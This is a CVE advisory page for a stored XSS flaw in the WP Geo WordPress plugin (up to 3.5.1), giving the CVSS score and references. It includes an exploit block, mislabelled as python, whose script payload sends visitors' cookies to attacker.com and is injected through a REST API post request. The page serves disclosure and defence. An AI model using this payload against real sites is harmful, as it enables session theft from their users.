CVE-2025-62904

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ben Huson WP Geo wp-geo allows Stored XSS.This issue affects WP Geo: from n/a through <= 3.5.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Geo <= 3.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62904 Stored XSS PoC for WP Geo Plugin
// Target: WordPress site with WP Geo plugin <= 3.5.1

// This PoC demonstrates how to inject malicious JavaScript via geo data
// The payload will be stored and executed when other users view the page

const vulnerableParam = 'geo_data'; // Parameter where geo data is stored
const maliciousPayload = '<script>document.location="https://attacker.com/steal?cookie='+document.cookie+'"</script>';

// Example POST request to inject XSS payload
fetch(window.location.origin + '/wp-json/wp/v2/posts', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-WP-Nonce': wpApiSettings.nonce
    },
    body: JSON.stringify({
        title: 'Test Location Post',
        content: maliciousPayload,
        meta: {
            geo_latitude: '51.5074',
            geo_longitude: '-0.1278',
            geo_address: maliciousPayload // XSS payload injection point
        }
    })
});

// Alternative: Inject via comment with geo metadata
// POST to /wp-comments-post.php with geo metadata containing XSS

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62904/
[4] VulDB https://vuldb.com/cve/CVE-2025-62904
[5] https://patchstack.com/database/Wordpress/Plugin/wp-geo/vulnerability/wordpress-wp-geo-plugin-3-5-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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